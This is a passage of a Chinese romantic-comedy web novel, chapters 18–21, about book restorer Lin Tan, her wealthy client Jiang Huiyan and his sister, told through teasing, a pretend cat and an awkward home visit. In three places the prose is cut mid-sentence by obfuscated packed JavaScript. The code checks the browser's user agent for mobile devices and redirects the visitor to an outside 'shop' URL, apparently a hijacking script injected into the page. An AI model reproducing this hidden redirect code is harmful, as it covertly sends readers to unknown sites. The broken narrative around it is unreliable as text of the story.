林昙嘴角绷得紧紧的,没说话,只是眼睛一眨不眨地盯着江回雁。 江回雁也静静看着她。 这么对视了片刻,他脸色慢慢淡漠下来,冷冷道:“笑都从眼里溢出来了,还装什么?等着我继续夸呢?” 林昙一下子破了功,嘴角一弯笑出声来。 笑了会儿,她抿住嘴角假装谦逊:“其实也没有很优秀啦,也就是做事比较细心、专注、严格、耐心、精细……” 江回雁面无表情地转回脸,对着王叔道:“走。立刻,马上。” 王叔瞄了他一眼,应声踩下油门,汽车毫不犹豫地把林昙甩在了身后。 18.小猫 按林昙原本的计划,回家洗漱后,她就要立即动手拆书了。计划赶不上变化,事实上,她来不及洗漱,匆匆换了睡衣,就扑到床上和陶莘说起今天的事。 陶莘是她最好的朋友,不能和爸妈说的青春期秘密,不方便和同事说的私人事情,都可以和陶莘吐露。 “我有点开心。”手机放在枕头上,林昙两手托腮,跷着脚,说话的时候嘴角还不住地往上扬。 “你的意思是你有点动心?”陶莘严谨地与好友确认用词。 林昙收起笑,重音强调:“开心!” “春心?” “杀心!” 听出好友语气里的浓浓杀意,陶莘的耳朵恢复正常,道:“前段时间我和制片人、导演他们打听过江回雁,打听到的消息不多,但私生活这一方面基本可以确定,他没有诟病。说真的,你可以考虑一下他的。” 陶莘是个演员,经常接触到各种富豪名流,见的人多,知道的八卦消息也多,她不止打听到了江回雁,还知道江回雁有个好友圈子,里面的公子和千金都是正儿八经的家族产业接班人,行事严谨,自律自重,和那种喜欢撒钱玩票的二代少爷不一样。 物以类聚,人以群分。 陶莘觉得在人品这一方面,江回雁是可信的。 “你想多了。”林昙托着下巴打开与江回雁的聊天记录,一边翻看,一边摇头,“他认可我,我是很开心。可总不能来一个认可我的人,我就要考虑对方吧?我是多缺别人的认可?” 从幼儿园起,林昙就是品学兼优的好学生,读研的时候更是深受吕教授器重的爱徒。工作后,她的确遇到了一些偏见和挫折,可这都是暂时的,得到别人的认可对她来说是早晚的事情。 江回雁的肯定是让她开心,但还没到冲散她理智的程度。 陶莘语气无辜:“我的意思是可以考虑一下和他做朋友,你想到哪去了?” 林昙怔了一下,慢慢红了耳尖,仗着陶莘看不见她的反应,奋力挽尊,“我想的是知心,知心好友。我不会因为江回雁认可了我的能力,就和他交心的!” “我信了!”陶莘在电话另一端严肃说着,字正腔圆道:“嘻——嘻——” 林昙:“……” 越相熟的人越知道怎么伤害对方,这句话果然没错。 被好友捉弄后的林昙冷静了很多,本来想去拆书的,见时间已经不早,再想第二天还得上班,老老实实洗漱完躺床上去了。 另一边,江回雁收到江凝波的消息:【周末谁来接我?】 除文字消息外,还附有一张灰扑扑的小刺猬的照片。 寝室不准养宠物,江凝波捡来的刺猬养不了,想趁着周末送回家里。高铁不允许带宠物,只能喊家里人去接。 江回雁看着她的新宠物,忽然想起有一件事还没确定。 他给牛助理打了电话:“你养了三只猫?” 牛助理发出一声凄厉的惨叫:“老板,我只卖自己,不卖儿女的!” 牛助理的脑袋是可拆卸的,工作的时候戴上,手脚麻利,处事灵活,不用工作的时候就卸掉,露出智障的本质。对此,江回雁习以为常,直截了当地问出想知道的事情,“你去过林昙家。她有没有养猫?” “没有。” “你确定?” “我敢用猫奴的尊严起誓。”牛助理肯定道,“她家里干净整洁,沙发、窗帘和地板上没有任何宠物抓挠过的痕迹和动物毛发,不可能养有猫狗的。她就算养了宠物,也只可能是无毛宠物,比如恐龙、鲸鱼、蟒蛇……” 江回雁打断他,“下个月奖金到账后,记得去治治你的脑子。” 挂断电话,他仔细回忆偶遇江里花的那短短几分钟里两人的对话和反应,“应付”、“难缠”、“小喵咪”,这三个词,每一个都刺到了江回雁心窝子里。 他打开手机,发出一条语音消息:“口蜜腹剑。” 手机很快响了一声,是林昙的回复:“见异思迁?” 疑惑的语气让江回雁隔着屏幕都能想象得出她的表情。 不能用眼神威慑,他就直白地用语言表达自己的心情:“千刀万剐。” “寡妇门前是非多?”一条语音刚听完,另一条来了,“多行不义必自毙!”第三条紧随而来,“陛下!您有什么吩咐?” 听完这几条语音消息的江回雁拧着浓眉,不由得在心底反思。 今天是不是不该和她说那么多? 这人明显飘了。 刚要拨通语音电话责问,林昙又发来一条消息:“陛下,明天臣再陪您玩超——”她声音拖长,听起来有点像是在哄小朋友玩耍,“——有趣的成语接龙小游戏好吗?现在臣要睡了,明天一大早还得去翰林院修书呢。” 江回雁瞥了眼时间,暂时做了一把体恤臣子的明君:“准奏。” . 第二天上班,架不住江里花的追问,林昙省去相亲那一段、省去网友和学姐的故事、再省去和江回雁相互婉拒的那几次交锋,把江回雁委托她修书的事和江里花说了。 他们省博物馆对修复师的要求很高,能进来的,每一个都有真本事,接到私人委托是迟早的事情,何况林昙还有个那么厉害的老师。 江里花没追问两人怎么认识的,而是起了八卦的心。 “他就是你要应付的小野猫?”江里花两眼发光,“你昨天可没说小野猫长那么帅!” “小野猫”几个字是之前林昙随口说的,谁知道从别人嘴里说出来会这么尴尬。 她抖抖身上的鸡皮疙瘩,暂时把修复条约抛之脑后,皱着脸,有模有样地摆手,“假的,他是化妆化的。” 江里花无语,“你怎么不说他是妖孽变幻成人?” “他是妖孽变幻成人。大师,帮我诛了他吧!” 江里花白她一眼,过了会儿,忍不住又来问:“你俩真的只是委托关系?” 这一句把昨天睡前的记忆拉到林昙眼前来了。 最初两人是平等是委托关系,后来莫名其妙变成了老板和员工,一觉醒来,现在成了掌握生杀大权的皇帝和卖命臣子了。 古人有一句话说得很明白:君要臣死,臣不得不死。 她的地位怎么越来越低了? 林昙没直接回答江里花,反问:“不是委托关系,还能是什么?” 一边说,一边拿出手机,没看见江回雁再给她发莫名其妙的成语接龙,心里竟然有点失望。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161981|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩昨天那模样,一点也不像单纯的委托人和被委托人。”江里花掐着语调,说得高深莫测,就等着林昙追问,她好再说下一句:小情侣还差不多。 昨天偶遇得太突然,林昙想了会儿才记起遇见江里花的时候,她正在站在江回雁身后俯着身子和他说话,也是在等王叔,当时没觉得有问题,现在站在旁观者的角度再看那画面,似乎真的有点暧昧了。 她又记起昨天陶莘调侃她的话。 …… 林昙眨了几下眼睛,正想说点什么把话题转移走,手机忽然响了,她假装有事,顺理成章地摆脱了江里花。 消息是江回雁发来的:【周末凝波回来,想去你那里看看修复情况。方便吗?】 林昙愣了一下,问:【你一起来吗?】 江回雁:【可以。】 林昙:【……】 可以个鬼啊,她是疑问,不是邀请! 她可以见江凝波,也可以见江回雁,但不太能接受同时见他们俩。 这段日子以来,林昙照常和江江插科打诨,为了不掉马,在江凝波面前则一直端着客气、疏离的姿态,聊天不热络,回复不及时,就等着江凝波把她遗忘。 要是让江凝波看见她在江回雁面前是什么模样,她一定会被认出来的…… 江回雁:【顺便,凝波听说你养了猫,很喜欢,想亲眼看看。】 林昙:“!” 昨天江里花口无遮拦的话被他听见了! 江回雁是来算账的! 她还以为昨天糊弄过去了呢…… 这时候再看昨天晚上的聊天记录,林昙全明白了。“口蜜腹剑”是在斥责她违背条约,当面装乖,背后嘀咕老板,“千刀万剐”是老板想对她使用的刑罚! 她还天真地玩起成语接龙! 林昙试图使用拖延大法:【如果,我是说如果,我周末没空呢?】 江回雁:【昨天你的成语接龙玩得很厉害,今天我们继续,君要臣死,后面一句是什么?】 刚才还这么感叹的林昙,心里默默唾弃着两人没用的默契,手指头任命地打字回消息:【臣不得不死……】 她看懂了,江回雁的意思是这周末没空,那就下周末,拖到寒假更好,江凝波就每天都有空了。他是无论如何都要为难她的。 江回雁:【不对。】 江回雁:【‘君要臣死’后面一句是:臣得变着花样去死。】 林昙:【……】 什么开心、动心、春心、知心?她现在是死心! 心头正凉,江凝波很不识趣地发来消息:“林昙姐,我哥说周末带我去你那里看小猫,你的猫咪喜欢吃哪种猫粮啊?我要给它买礼物~” 林昙:【我的小猫不喜欢吃猫粮,只喜欢吃人。】 江凝波:【啊?】 林昙不小心对着江凝波吐槽了一句,怕被江回雁这个小肚鸡肠的老板看见,紧急把消息撤了回来。 还没和这兄妹俩聊完,江里花歪着脖子冲林昙喊:“中午不想去食堂了,我要点外卖,你要不要一起拼?” 林昙看向眼前这个“小猫咪事件”的始作俑者,再望一眼手机里催命的兄妹俩,悲愤说道:“拼!我跟你们姓江的拼啦!” 19.芒果 为了迎接前来找茬的江回雁和纯凑热闹却给主人带来很大压力的江凝波,周五下班后,林昙特意重新把家里清扫了一遍。 一切收拾妥当,她正趴在床上盘算着明天怎么对付江回雁,“奸细”前来汇报。 “我哥上午去医院复查、复建,中午去了公司,在那待了一下午,晚上去参加了个酒会,还没回来。我发消息问他了,他说估计得十一点。” 自从上次林昙借口朋友写小说和她搜集素材之后,江凝波三天两头给林昙发江回雁的行程。 江江:“酒会里有那个即将结婚的发小,他肯定又在我哥面前炫耀婚戒了,明天我得老实点,不能让我哥抓到把柄冲我撒气。” 林昙暗想,照这么说,江回雁现在的心情是火上浇油,明天她也得加倍小心? ……嗯……江回雁的为难固然会让人窘迫,但与掉马相比,不值一提。 林昙试想了一下被江凝波认出来的后果……光是聊天记录里关于江回雁的事情,任谁看了都得怀疑她对江回雁有着不可告人的秘密。 要是思维再发散一点,说不定还会以为她为了追到江回雁,不惜花费三四年的时间布局接近江凝波…… 她心机得多深啊! 由此可见,谎言和误会都是雪球,会越滚越大。 亡羊补牢,犹未迟也! 林昙打字:【以后不用和我说你哥的事情啦!也不要随便和别人说了,要注意保护隐私。】 江江:【啊?你朋友不需要素材了吗?】 总总:【不用了,主角破产了,现在是个和流浪猫抢饭的穷人。】 江江:【……】 主角突然的破产给江凝波带来了一定的冲击,她沉默了。 像是经过激烈的心理挣扎,过了会儿,江凝波又发来语音:“……毕竟是以我哥做参考的角色……你这……我这……唉!我有点心疼,你把小说链接发给我吧,我要给‘我哥’一点打赏……” 根本就没这么个小说,让林昙上哪找去? 早知道就说作者只做了大纲还没开始写…… “算了,你直接把你朋友的联系方式给我吧!”江凝波的语音消息一条条发来,语气亢奋,“我不能看着我哥穷困潦倒!现实里我帮不上忙,小说里,我要让我哥过上皇帝的生活!我要买下这篇文,让作者改写!” 林昙:“……” 首先,她想说就算真的有这个小说,那也只是借鉴了江回雁日程的虚构人物,和江回雁本人没有任何关系! 其次,林昙很想感慨:这就是独生女无法体会到的感人至深的兄弟姐妹之情吗? 怀着复杂的心情,她打字:【不好吧……】 江江:“我有钱!我要拯救我哥!” 那不是你哥! 林昙既羡慕江家兄妹的钱财,也羡慕兄妹俩的感情,同时更加深刻地认识到了自己的错误:不该为了一己私心糊弄江凝波的。 网络上的友谊本就脆弱,涉及到了金钱交易,很容易就变得肮脏了。 这桩闹剧必须要结束了。 林昙叹了口气,沉重地敲下了一行字:【不瞒你说,我朋友写的是小黄文。】 江江:【……???】 这串省略号和问号之后,江凝波没了消息。 这代表着林昙曾经背地里打听过江回雁行程的事情结束了,只要她不掉马,这件事就不会被任何人知道,同时也代表着,江凝波自闭了。 很久没再收到江凝波的回复,林昙怕她遭受到太大的打击,切换到微信,第一次以“林昙”的身份,主动找江凝波聊天。 林昙:【你是今天下午回来的吗?到家了没有?】 过了会儿,江凝波回消息:【到了。】 随之而来的还有一张虚弱小猫的表情包。 林昙:【你不舒服吗?】 江凝波:【不是,只是有点难过。你知道吗?有一种难过叫,我可能这辈子都看不了小黄文了……】 林昙:【……】 林昙默默回了一张摸摸头的表情包。 . 第二天上午,江凝波下楼,第一眼就看见了坐在客厅里的江回雁,脸一垮,停下脚步。站在原地拍了拍胸口,把带有颜色的废料从脑子里驱逐出去,她才走了过去。 “我好了,哥。” 江回雁看着手中文件,没抬头,“去吃早饭,吃完出发。” “哦。”江凝波目不斜视地绕过他,去了餐厅。 江回雁没发现她的异常,去找林昙的路上,兄妹俩一个坐在副驾驶玩手机,一个坐在后排打电话,也一直没什么交流,直到抵达林昙所在的小区。 电梯里,江回雁察觉不对,问:“今天怎么这么文静?” 江凝波语气虚弱:“我想文静一点,给林昙姐留下个好印象。” 江回雁不信,从电梯里反光的镜子里观察起江凝波,江凝波发现了,脖子一仰,佯装好奇地打量起角落里挂着的监控摄像头。 江回雁再想问,“叮咚”一声,电梯停住了。 林昙为今日和这两人见面做了充分的准备,在两人到楼下的时候就收到了消息,此时正等着电梯口。 电梯门打开,她第一个看见的是江回雁,立刻对着他露出一个灿烂的笑脸,“早呀!” “早。”江回雁挑了下眉梢,眼神里露出几分逼迫的锋芒。 林昙笑容不变,把两人请出电梯后,自觉地从江凝波手中接过轮椅,偏着脸温声细语地问:“凝波今天好些了吗?” 江凝波满心都是自己再也无法看颜色小说的苦恼,苦大仇深地叹了口气。 林昙:……那句话的威力,就这么大吗? 单方面瞒了江凝波那么多事情就算了,现在还让人陷入纠结,林昙内心惭愧,犹豫了下,松开轮椅,在江凝波后背上轻拍了几下。 安抚了没两下,一转眼,发现江回雁目光深邃,正一瞬不瞬地盯着两人。 林昙警惕心一起,急忙松开了江凝波。 在江回雁眼里,她们两个只见过一面,就算经常聊天,也不该这么熟稔。 林昙再次朝江回雁扬起假笑,推着他到了家门前。 把人请进屋,林昙主动把之前对江凝波说过的话重复了一遍:“我妈对猫过敏,家里养不了猫,我说的那只猫咪其实是小区里的野猫。不知道从哪冒出来了,嘴又叼,脾气又差,难缠得很。” 这是林昙想出来的对付江回雁的办法。 江回雁眸光一眯,问:“‘嘴又叼,脾气又差,难缠得很’的野猫?” 被雇主当面质问的林昙,充分利用了自己外貌上的优势,装出一副无辜相,说道:“对啊,你要是想看,待会儿我送你下去的时候,可以带你去找找。只是那只猫野的很,不知道会不会出现。” “行,待会儿你带我去看看。”江回雁点头,说道,“今天遇不上,还有明天、后天,只要我来得多,总有遇上的那一天。” 林昙和他对视,挤出笑,“那是肯定的。” 肯定不会有! 他们小区里管理很严,从来就没有过野猫。 林昙想说的也不是这一句,而是“要不你干脆在这个小区里买个房子住下呢?”,碍于江凝波的存在,她忍住了。 林昙今天最要的任务不是和江回雁斗嘴,而是保住自己的马甲。 江凝波说过,江回雁想要的女朋友是温柔贤淑、没脾气的那种,也就是说“林昙”在她眼中就是这样的。 只要稳住这个人设,就可以放心了。 “你们先歇会儿,我去拿水果。”丢下兄妹二人,林昙转去厨房。 为了尽可能地弥补昨天对江凝波的伤害,林昙一大早就去了趟超市,买了江凝波最喜欢的水果和零食。 她在里面扮演贤良淑德的贤惠小女人,没听见外面兄妹俩的谈话。 “我怎么不知道你有哪里不舒服?”江回雁问。 昨天他回来的时候,江凝波已经休息了,但江凝波要是有不舒服,爷爷和邹阿姨不会一句不提。 江凝波看着江回雁,脸一会儿红,一会儿绿,欲言又止了半天,吞吞吐吐道:“我、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要不我先感谢您回到客厅里去?”林昙不敢再矜持得太明显,解释道,“轮椅占地方,挡着门了,我没法把水果端出去。” 江回雁放过她,转动轮椅刚出厨房,一杯水从他身后递了过来。 “我拿不完了,劳驾给您妹妹带一杯。”林昙在他身后声音甜美地说道,“谢谢老板!” 这下是真的一点不客气、一点不矜持了。 江回雁接过,控制着轮椅回到客厅,看见江凝波扭脸瞧了他一眼,再生无可恋地扭了回去。 一定有问题。 林昙也看见了,快步从江回雁身旁走过,把水果放在江凝波面前,笑容款款地说道:“我早上去超市看见芒果黄澄澄的,闻着很甜,你……” “黄?什么黄?!”江凝波被关键字触发,一个激灵坐直了。 恰好这时江回雁把水杯递过去,江凝波突然抬起的胳膊打到水杯,水杯一晃,里面的茶水泼到了江回雁的衬衫上。衬衫单薄,一转眼,就湿了他半边肩膀。 江回雁皱着眉,“你怎么回事?” 江凝波神色难言,往他被淋湿的肩膀上看了好几眼,哭唧唧道:“哥,你能不能先转过去?我忽然感觉你长得好奇怪,看得我有点反胃……” 江回雁:“?” 他转向林昙,发现林昙眼神闪躲。 林昙可以发誓,她昨天和江凝波说那句话真的只是想打消她的追问,绝对没有任何别的想法。 可她没想到江凝波的反应会这么大,看过江凝波的反应后,再看江回雁被打湿的衬衫下若隐若现的半边胸膛,实在没法不多想。 她很努力地克制了,可仍是红了脸。 随着她脸上热度的攀升,江回雁的眼神也越来越锐利,林昙实在忍不住了,在他的目光下抬起双手捂住了脸。 江回雁:“……?” 20.好怪 客厅里气氛冻结。 客厅里很久没有人说话。 真的很久,久到林昙脸上的热度已经自我消散,久到她捂脸的手都酸了。 她想把手放下来,苦于没有台阶,只能继续僵硬地捂着。 以前在学校的时候,吕、秦教授经常相互找茬,时不时会出现两个人都下不来的尴尬情况,每到这时候,林昙就是成了递台阶的破冰人。 此刻,林昙急需一个和曾经的自己有同样功能的人。 客厅里一共三个人,一个是恨不得戳瞎双眼、挖掉脑子的江凝波,一个是深陷尴尬处境的林昙,只有江回雁具有破冰的能力。 林昙多么希望他能够给自己递个台阶,让自己把双手放下……哪怕是一句“你又是怎么回事?”或者“我看着就这么让人恶心?”的质问也好啊。 可惜她不是江回雁的导师,江回雁也不具备她那么美好的品质。 林昙胳膊很酸,悄悄松了松手指,从指缝里看见江回雁目光凌厉地盯着自己。那架势,大有时间允许的话,就冷眼看着她保持捂脸的动作尴尬到死。 哪个正经人会在别人尴尬的时候,不仅不解围,还死盯着别人加重尴尬的气氛? 林昙第一次遇见江回雁这样的人。 再说了,凭什么只针对她啊?她只是捂住了脸,江凝波还说他恶心呢,怎么不针对江凝波? 靠金钱维系的委托关系,果然没法和血缘亲情相比。 林昙决定自救。 她低着头,若无其事地把合起的双手张开,在脸颊上轻轻拍了两下,然后深呼吸,没事人一样看向江回雁。 “捂脸能散热?”江回雁给予她尖锐的嘲讽,“脸的确没刚才那么红了。” 林昙:“……” 干巴巴地捂了那么久,就是一块烧红的铁,温度也该降下来了。 她再一次确认江回雁身上没有丝毫助人为乐的美好品质。 但她不一样,她是个热心勇敢的好人,就算不能让江凝波走出心理阴霾,她也要努力让江凝波勇于张开双目。 “咳,老板,你要不要先换身衣服?” 林昙对江回雁的嘲讽视若无睹,不敢提刚才捂脸的事情,也怕再次被男色刺激到乱想,说话的时候视线往下,盯着自己切好的芒果看。 那是江凝波最喜欢吃的水果,是她今天一大早去超市买的,新鲜甘甜,颜色也真的很黄…… 林昙感觉脸上又有点热,但还好,这次她能挺住! “换个衣服我就能不那么让人反胃、不那么辣眼睛了?” 林昙:“……” 该来的,终究还是逃不了。 见她不吱声,江回雁施舍地转开眼,向四周环顾过后,若有所思地问:“你这有男人的衣服?” “我爸妈偶尔会过来陪我,留的有衣服。”林昙强自镇定,“不介意的话,我爸爸的衣服可以借你穿一下。” “你确定你爸爸的衣服我能穿?” ……不确定,虽然相识以来,江回雁一直都坐着轮椅,但不难看出他身材挺拔、健硕,每次倾着身子拿东西的时候,衬衣就会拉紧,显露出线条流畅的宽肩阔背…… 不对! 江回雁都没有把刚才的事情追究到底,受害者在正经地说衣服的事呢,她想到哪去了?! 林昙把自己训斥了一顿,收回乱糟糟的思绪,尽管脸上发烫,还是假装坦荡,抬起头打量江回雁,装作是在判断他能不能穿得了林言松的衣服。 幸好,江回雁似乎是不喜欢湿透衬衫黏在身上的感觉,拿起纸巾擦拭起身上的水渍,因为这个动作,他的胳膊抬起,挡住了许多春光。 林昙冷静地扫视了他一遍,说道:“要不你先去……” 说着,看见江回雁向着江凝波的方向瞟了一眼。 林昙下意识跟着瞟去,看见江凝波不知何时把脸埋在了膝上,浑身萦绕着一股“这世界肮脏污秽,让我就此沉睡吧”的绝望气息。 “……先去试试?”林昙暂时忽略江凝波,专心去消灭刺激她的应激源。 “不太好。” 江回雁的拒绝让林昙不理解,她疑惑地转过来,看见江回雁放下了手中的纸巾,修长的食指虚空点了点她,再回到他自己身上。 林昙的视线被他引着,来到他衬衫的领口处。 裁剪得当的衬衫原本只随性地解开了最上方的一颗纽扣,现在,在林昙的目光中,江回雁两指轻错,解开了第二颗。 扣子解开的瞬间,仿佛发出“砰”的一声响,让林昙呆住。 还没反应过来,又看见江回雁突起的喉结上下滚动了起来。 喉骨牵动着侧面的青筋,青筋突起,拉扯着林昙的视线往下,蔓延至他锁骨,以及松开第二颗纽扣后露出的一小片胸膛。 林昙反应了三秒钟,来不及控制,刚被她赶出大脑的小黄文片段重新浮现,这次,被汗湿的、青筋暴起的脖颈有了实物做参照,引出更多的不可描述的画面,争相涌入她脑海。 轰的一下,林昙宛若刚出锅的龙虾,从头顶红到了脚底板。 “还真是因为这个脸红的?”江回雁语气惊疑,充满了不确定,“你……这么纯情的吗?” 连男人的上半身都没见过? 林昙:“……” 她再次捂住脸,怕待会儿又找不到台阶下,不到两秒钟就把手放了下来。 纯情就纯情吧! 总比江回雁知道她心里在想什么,把对她的评价换成“纯情”的反义词好! 丢人就丢人吧! 反正不是第一次了! 林昙成功说服自己放弃脸面,决定如果江回雁再问,她就死鸭子嘴硬说自己是“红种人”。 “你说别人太纯情?”埋头自闭了很久的江凝波突然抬起头,震惊地看着江回雁,“哥,你怎么好意思啊?” 她错过了江回雁的无声试探和林昙的全面溃败,只听见两人的对话,觉得林昙温柔大方,而他哥在别人好心借他衣服遮丑的时候,疑似出言调戏! 江凝波满怀着与颜色书籍诀别的悲恸,和对大哥的浓浓失望,斗胆斥责:“明明就是你有问题,我觉得你有点不要脸……” “!” 林昙闭眼,已经不忍心看江回雁的反应了。 天知道,如果一定要在他们三个之中选出一个最符合江凝波描述的人,这个人的性别绝对不会是男…… 被斥责的江回雁做了个深呼吸,又过了好一会儿,才开口说话,声音还算平静:“回去我再和你好好聊。” 林昙不敢想象江凝波回去后的遭遇,也没心情想了,此刻的她如坠火炉,假若地上有条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188556|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝,她一定会毫不犹豫地钻进去。 ……好奇怪啊! 那兄妹俩为什么要在她家里讨论她是不是太纯情?江凝波为什么要在她家里斥责江回雁太淫/荡? 当着外人的面讨论这种问题,他们真的不觉得难为情吗! 还有,事情到底是怎么发展成这个鬼样子的? 好怪……真的好奇怪啊! “我……”江凝波又想地开口,刚说出一个字,林昙当机立断,大声呵斥:“闭嘴!” 不能再让事情脱缰野马似的发展下去了。 她往后退了两步,脸颊通红,但眼神坚定,俯视着江家两兄妹,说道:“江凝波跟我去卧室,江回雁……老板你稍等,我去拿干净衣服。” 见两人都有再度开口的冲动,林昙板着脸,语气强硬:“两位,这里是我家,请保持着第一次登门拜访的客人!应有的!拘谨!和礼貌!” 毕竟还要隐藏马甲,强调完,确定两人终于都闭紧了嘴巴,林昙倏然扬起笑脸,温柔地问:“好吗?” “……”先被堂而皇之嫌弃,再亲眼目睹她变脸的兄妹俩齐齐沉默。 林昙满意了,冲着江凝波招手,后者站起来,顺从地跟着她去了卧室。 安抚好江凝波,林昙的情绪也有所缓解。她拐去次卧找出林言松的衣服,拿去给江回雁。 江回雁瞥了一眼,没接,而是问了个毫不相干的问题:“你和英俊、优雅、多金、各方面都很优秀的单身男性,独处过吗?” “……这是我的女性隐私!”林昙拒绝回答。 江凝波不在,她也不用装了,双手合十央求道:“求求你快去换衣服吧!您半透半露的样子太十八禁了,我只是个纯情小女孩,真的承受不住的!” “我信你个鬼。” 在林昙没承认之前,这番说辞江回雁还能有几分相信,现在,他一个字都不信。 但眼下有比在这事上绕圈子更重要的事情需要解决。 江回雁依旧不接衣服,后仰靠着轮椅,昂着下巴,道:“那我换个问法。你会在和各方面都很优秀的适婚单身男性独处时,穿对方妈妈的衣服吗?” 林昙眨眨眼,大脑飞速运转起来。 过了会儿,她反问:“老板,你是在夸我各方面都很优秀,是个很值得喜欢的人吗?” 江回雁:“‘男性’两个字被你吃了?” “我以为一般人不会这么自夸。” “所以你老板不是一般人。” “……”林昙无语地停顿了下,把话题拖回最初:“所以你宁愿穿着湿衣服,也不换?” “不换。” 林昙无法干涉老板的选择,只能摇摇头,拿着林言松的衣服返回次卧。 嘴上没说,但其实她觉得江回雁说的有道理。 换成是她和一个精英帅哥独处时弄脏了衣服,她也不会愿意换上对方妈妈的裙子……除非她完全不在乎自己在对方眼里的形象,即,十分肯定自己和这个男人没有进一步发展的可能。 江回雁不愿意换上她爸爸的衣服,同理。 林昙一脸平静地走进屋,把林言松的衣服放回原处,然后返身,关门,落锁,坐在床沿,打开手机,给陶莘发消息—— 【救命!】 【我和我老板好像暧昧过头了!】 21.不对 陶莘正好在拍戏的休息间隙,打了电话过来,“你哪个老板?” 林昙小声:“相过亲的那个。” “竟然是他!”陶莘很惊讶,稍一停顿后,声音沉重地安慰道,“没事,我找人做了他。” “……你出出戏吧!”陶莘在拍的角色是个恶贯满盈的黑/帮老大的女儿,太敬业,都腌入味了。 “不舍得杀他?那就嫁给他!” 林昙:“你新角色还是个恋爱脑啊?” 陶莘大笑起来。 笑了会儿,发现好友没有开玩笑的兴致,陶莘才认真地思考林昙的烦恼,然后,她以局外人的身份提出了一个引人深思的问题:“我请问,和相亲对象暧昧,有什么问题吗?” 林昙被问住了。 她和江回雁是相亲过,可因为各种原因,相互婉拒过彼此,现在之所以纠缠在一起,江回雁是因为他那该死的好胜心,她则是为了得到修复古籍的机会,两人的出发点都与对方无关。 就是因为无关,她才能放心地和江回雁接触。 现在事情变化,偏离了她预定的轨道,她有点迷茫了。 “就算刨除了相亲这层关系,两个没有血缘关系的单身男女暧昧一点,怎么了?又不违法。”陶莘那边说话时,背景音是片场工作人员的催促声,有点杂乱,“就当是一次恋爱体验呗,反正你也说了,他长得不丑。” “可是……”林昙有很多犹豫。 她不抗拒单纯的恋爱,但怕麻烦。 万一她和江回雁的关系发生了改变,要怎么解决和江凝波的事情呢?周表姨知道了会怎么说?爸妈那边也是问题。 还有,万一江回雁那么说只是为了自己形象呢?他本来就很在乎外在,用江凝波的话来说就是端着架子装高冷,换做任何一个女性,他都不会愿意在对方面前失态。 何况,很早之前江凝波就说过,她长得很符合江回雁的审美…… 这种像是一道道难题,又好像很容易解决的矛盾,最让林昙纠结。她更擅长面对一些有标准答案的事情,比如考试、生病了要去医院、拒绝严飞、修复好的书页一定要压平等等。 林昙越想越心烦,几次欲言又止,始终无法准确表达出自己的想法,只能无力道:“太快了……” 陶莘:“呃……你说的这个快,是我想的那个吗?” “……”林昙现在对这方面有点敏感,憋着股闷气说不出话来,听见电话那边有人在催陶莘,心事重重地叹气,“算了,没事了,专心演你的大小姐去吧。” “等等。”陶莘在她挂断电话前喊了一声,这一次,她给出了衷心的建议,“你不需要想太多的,这件事其实很简单,无非就三个选择。第一,假装没察觉,维持现状不变。第二,直接拒绝,再不来往。第三,先选择第一种办法,及时行乐,等发现他给你带来的困扰大于快乐了,再执行第二个选项。” 挂断电话后,林昙想着陶莘的话,坐在床沿把思绪整理了一遍,依旧一无所得,只能无奈地拍拍脸,打起精神出了房间,去解决今天的主要事情。 江回雁的衣服已经干了一半,林昙还是为他取了吹风机让他把自己打理好,安顿好这个,她再把江凝波带到工作室里,为她展示那几册江回雁花了大价钱换回来的古书。 古书目前只拆了一册,纸张脆弱,根本不能碰。 江凝波第一次接触到这种东西,看过腐败枯叶一样的原书,再瞧瞧林昙以前修复好的零散书页,对比之下,深感惊奇,想让林昙给她演示一遍修复过程。 林昙想转移她的注意力,也为了平复自己的心情,于是,挽起长发,找了一张练习用的旧书动起手来,还手把手地让江凝波体会了一下。 江凝波遇见新奇事,很快把心里的阴霾遗忘,开心地玩了起来,一上头,不小心把桌上储放补纸的架子打翻,薄薄的纸张倾撒了一低。 “对不起!”她赶紧道歉。 “没事。”林昙道,“捡起来就行。” 她的工作室平常没有别人进出,所有的东西都是按她的习惯,怎么顺手怎么摆放的,不熟悉的人是很容易撞到。 “我来整理,你先出去玩。” 这些补纸都是林昙收集起来备用的,很薄很软,打乱后需要一张一张地重新规整。她师承吕教授这样的传统老手艺人,耳濡目染之下,养成了一些小习惯,比如不喜欢别人碰自己的工具。 于是,等江回雁收拾好自己过来的时候,就看见江凝波在客厅张望,林昙独自在工作室整理凌乱的纸张。 “我不小心把她的纸弄撒了。”江凝波心虚地说完事情原委,又难掩兴奋,“我刚才用那个小小的显微镜看见了虫卵,还找到一根头发!哥,你说那是不是古代人的头发啊?值钱吗?” 江回雁的衬衣有点皱,但已经干透了,江凝波又被新鲜事转移了注意力,没有了刺激的源头,她脑子里的废料被挤到角落里, 